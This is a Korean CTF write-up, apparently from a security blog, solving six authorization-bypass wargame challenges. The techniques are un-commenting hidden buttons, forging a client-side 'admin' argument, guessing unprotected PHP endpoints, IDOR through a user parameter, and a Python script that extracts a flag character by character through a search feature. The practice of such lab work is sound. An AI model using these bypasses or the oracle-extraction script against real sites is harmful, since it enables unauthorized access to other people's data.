이번 워 게임은 잘못된 인가 제한에 대한 워 게임입니다.
*인증과 인가 취약점: https://x4uiry.tistory.com/72
Athentication&Athorization Vulnerability
*Icon by Muhammad_Usman[1]Introduction인증(Athentication)이란?-그 사람이 본인이 맞는지 확인하는 작업>인증 취약점: 인증 과정에서 일어나는 취약점으로 인증을 무시하는 공격 등을 뜻합니다. 인가(Athorizat
x4uiry.tistory.com
[1]Authorization 1 - 주석으로만 접근을 제한하는 로직
-화면 상으로는 버튼이 보이지 않지만 소스코드에서 보면 HTML 주석처리만 되어 있는 것을 볼 수 있습니다.
-따라서 주석 부분에 우클릭 - Edit HTML 을 눌러 주석을 제거하면 버튼이 나타납니다.
-버튼을 누르면 플래그를 획득할 수 있습니다.
[2]Authorization 2 - 인가 검증을 클라이언트 측에서 하는 경우
-버튼을 누르면 "권한이 없습니다."라는 alert 메시지가 나타납니다.
-하지만 개발자도구의 네트워크 탭이나 burpsuite 등을 통해 요청/응답 기록을 보면 버튼을 누를 때 요청이 전송되지 않습니다. 다른 말로 이는 클라이언트 측에서 실행되는 스크립트 때문에 나타나는 메세지라는 뜻입니다.
-버튼에 대한 소스코드를 보면 onclick 이벤트 핸들러를 통해 goMenu('1018' ,'') 함수를 실행한다는 것을 알 수 있습니다.
-개발자 도구의 Sources를 통해 user.js로 접근하면 goMenu를 볼 수 있습니다.
-첫 번째 인자는 수행하는 기능을, 두 번째 인자는 userLevel 이라는 인자로 'admin'일 경우 true, 아닐 경우 false를 반환하는 user_auth_check 함수에 삽입됩니다. 여기서 알 수 있는 점은 userLevel의 인자 값이 'admin'일 경우 location.href="./fire_nuclear_Attack.php"가 실행된다는 것을 알 수 있습니다. 파일의 이름부터 미사일 발사와 관련이 있을 것 같습니다.
<a class="btn btn-lg btn-danger" href="#" role="button" onclick="goMenu('1018','admin')">Fire</a>
-위와 같이 코드를 goMenu('1018', 'admin')을 추가하여 버튼을 누르거나 fire_nuclear_Attack.php에 직접 접근하면 플래그를 얻을 수 있습니다.
[3]Authorization 3 - 인가 검증을 클라이언트 측에서 하는 경우
-버튼을 누르면 역시 "권한이 없습니다."라는 alert 메시지가 나타납니다.
-역시 버튼의 소스코드를 확인해보면 onclick 이벤트 핸들러로 goMenu('9999', '') 함수를 실행하는 것을 알 수 있습니다.
-개발자 도구의 Sources를 통해 user.js 코드를 살펴보면 goMenu 함수를 찾을 수 있는데 이번에는 굉장히 괴상한 코드들이 나옵니다.
-이는 난독화된 javascript 코드로 간단하게 줄이라도 맞춰서 보면 아래와 같습니다.
function goMenu(code, userLevel) {
switch (code) {
case '9999':
if (user_auth_check('admin', userLevel)) {
location.href = (function() {
var J = Array.prototype.slice.call(arguments),
C = J.shift();
return J.reverse().map(function(N, Q) {
return String.fromCharCode(N - C - 14 - Q)
}).join('')
})(20, 150, 140, 136) + (14).toString(36).toLowerCase() + (21).toString(36).toLowerCase().split('').map(function(I) {
return String.fromCharCode(I.charCodeAt() + (-13))
}).join('') + (27610734146).toString(36).toLowerCase() + (function() {
var H = Array.prototype.slice.call(arguments),
z = H.shift();
return H.reverse().map(function(d, J) {
return String.fromCharCode(d - z - 22 - J)
}).join('')
})(32, 167, 172, 168, 175, 150, 168) + (13).toString(36).toLowerCase() + (function() {
var h = Array.prototype.slice.call(arguments),
c = h.shift();
return h.reverse().map(function(D, U) {
return String.fromCharCode(D - c - 24 - U)
}).join('')
})(22, 159, 92) + (17).toString(36).toLowerCase() + (function() {
var f = Array.prototype.slice.call(arguments),
M = f.shift();
return f.reverse().map(function(n, S) {
return String.fromCharCode(n - M - 50 - S)
}).join('')
})(49, 211);
break;
} else {
alert('권한이 없습니다.');
break;
}
case '0417':
location.href = (1111).toString(36).toLowerCase().split('').map(function(r) {
return String.fromCharCode(r.charCodeAt() + (-71))
}).join('') + (21).toString(36).toLowerCase() + (function() {
var g = Array.prototype.slice.call(arguments),
b = g.shift();
return g.reverse().map(function(l, p) {
return String.fromCharCode(l - b - 38 - p)
}).join('')
})(61, 212, 203, 210) + (1109).toString(36).toLowerCase() + (function() {
var U = Array.prototype.slice.call(arguments),
C = U.shift();
return U.reverse().map(function(b, K) {
return String.fromCharCode(b - C - 11 - K)
}).join('')
})(52, 176, 109) + (637).toString(36).toLowerCase();
break;
default:
alert('없는 메뉴입니다.');
}
}
-그렇지만 일단 goMenu의 두 번째 인자는 난독화 되지 않은 user_auth_check 함수를 먼저 거치고, 난독화된 코드들을 보았을 때 이동되는 경로에 대해 난독화를 한 것 같아서 'goMenu 함수 두 번째 인자에 admin을 넣어보자'라는 생각으로 코드를 수정해 버튼을 눌러보았습니다.
<a class="btn btn-lg btn-danger" href="#" role="button" onclick="goMenu('9999','admin')">Fire</a>
-다행히도 추가적인 문제없이 플래그를 얻을 수 있었습니다.
[4]Authorization 4 - Guessing 공격에 취약한 경우
-로그인 후 notice_list.php에 접근하면 볼 수 있는 모습입니다. 목표는 공지사항에 게시글을 남기는 것이므로 일단 [필독]공지 사항에 접근해보았습니다.
-음.. 관리자가 고민이 많아보입니다. 일단 id 파라미터 값 '44'를 통해서 게시글을 구분하는 것 같고 'notice_' 라는 것으로 기능의 목적인 '게시글'을 나타내는 것 같고 'read'로 기능을 구분하는 것 같습니다. 그렇다면 글을 작성하는 것은 'notice_write' 라고 생각할 수 있을 것 입니다.
-역시 notice_write.php로 접근하니 다른 인가 확인 과정없이 페이지에 접근할 수 있었습니다.
-간단하게 인사나 적어주고 'create' 버튼을 눌렀습니다.
[5]Authorization 5 - 잘못된 인가 제한 기능
-로그인 후 notice_list.php에 접근하면 볼 수 있는 모습입니다. 'flag 임시 저장'이라는 공지글을 읽어야 하는 것 같습니다.
-'flag 임시 저장' 게시물을 누르면 '권한이 없습니다.'라는 alert 메세지가 나타납니다.
-알 수 있는 정보는 게시물을 구별하는 파라미터라고 추측되는 id의 값이 '42'라는 것입니다.
gessing 공격
-authorization 4번 문제와 비슷하게 내용은 포함되어 있지만 인가 제한이 없는 부분이 있을 것이라 판단했습니다.
- 게시물 수정 : auth6/notice_update.php?id=42
- 게시물 삭제 : auth6/notice_delete.php?id=42
-위 두 가지 기능은 id 파라미터를 통하여 게시물을 구별하여 수정/삭제 기능을 수행하고 있습니다.
-자세히 안 보면 두 기능 모두 alert 메세지를 띄운 후 window.location.href로 바로 리다이렉트시켜 인가 제한이 제대로 되는 것 같지만 notice_update.php의 응답부분 맨 아래로 내려보면 아래의 사진과 같이 제목과 내용이 보이게 되어 플래그를 얻을 수 있습니다.
인가 제한을 하지 않은 기능
-notice_list.php에는 검색 기능이 존재합니다. '작성자', '제목', '내용' 3가지 옵션을 선택하고 "Search" 부분에 검색할 값을 입력하여 전송하면 아래와 같이 해당되는 게시글이 나열됩니다.
-"3가지 옵션 중에서 과연 '내용' 옵션은 인가 제한이 걸려있을까?"라는 생각이 들어서 '{' 문자로 검색해보았습니다.
-게시물이 검색됩니다. 이를 활용해서 간단한 스크립트를 작성해보았습니다.
import requests as req
import string
abc = "{"+string.ascii_letters + string.digits+"}"+"?!"
sess = req.Session()
url = "http://ctf.segfaulthub.com:3481/auth6/notice_list.php"
good = ""
tb = True
while(tb):
for z in abc:
data = {"option_val": "content", "board_result" : good+z, "board_search" : "🔍", "date_from" : "", "date_to": ""}
res = sess.post(url, data, cookies={"PHPSESSID":"(your_cookie)"})
if "존재하지 않습니다." in res.text:
continue
else:
good = good + z
if(z == "}"):
print(good)
tb = False
~$ python3 exploit.py
{flagflagflagflagflag}
*참고로 워게임이 처음 나왔을 때 '내용' 옵션에 'segfault' 로 검색하면 결과가 나오지 않았는데 지금은 패치되어서 검색이 됩니다.
[6]Authorization 6 - 파라미터 값 변조로 인한 인가 제한 우회
-로그인 후 마이페이지 기능을 수행하는 페이지로 접속하면 보이는 화면입니다.
-일종의 감이었는데 세션을 통해 가져와도 될 user id를 GET 파라미터 값으로 받는 것이 굉장히 수상했습니다.
-진짜 바로 플래그가 나왔습니다.
-이는 굳이 분석하면 user 파라미터로 받는 값을 세션에서 가져온 id 값과 같은지 비교하는 로직이 없거나 잘못 작성되어 생기는 인가 취약점이라고 볼 수 있습니다.
-사실 어느정도의 guessing 공격도 필요한데 만약 관리자의 id가 admin이 아니었다면 'segfault', 'administrator', 'admin123', 'admin1', 'manager', 'authorization 6' 등 많이 관리자 id로 사용하는 것을 모아놓은 파일을 이용해 딕셔너리 공격을 수행했을 것 같습니다.
'write-up > web' 카테고리의 다른 글
[wargame - web]Not-only (0) | 2024.12.09 |
---|---|
[wargame - web]Rabbit Hole (0) | 2024.12.04 |
[web]Get Flag File 2 (0) | 2024.07.26 |
[web]Get Flag File (0) | 2024.07.26 |
[web]Web Shell 3 (0) | 2024.07.25 |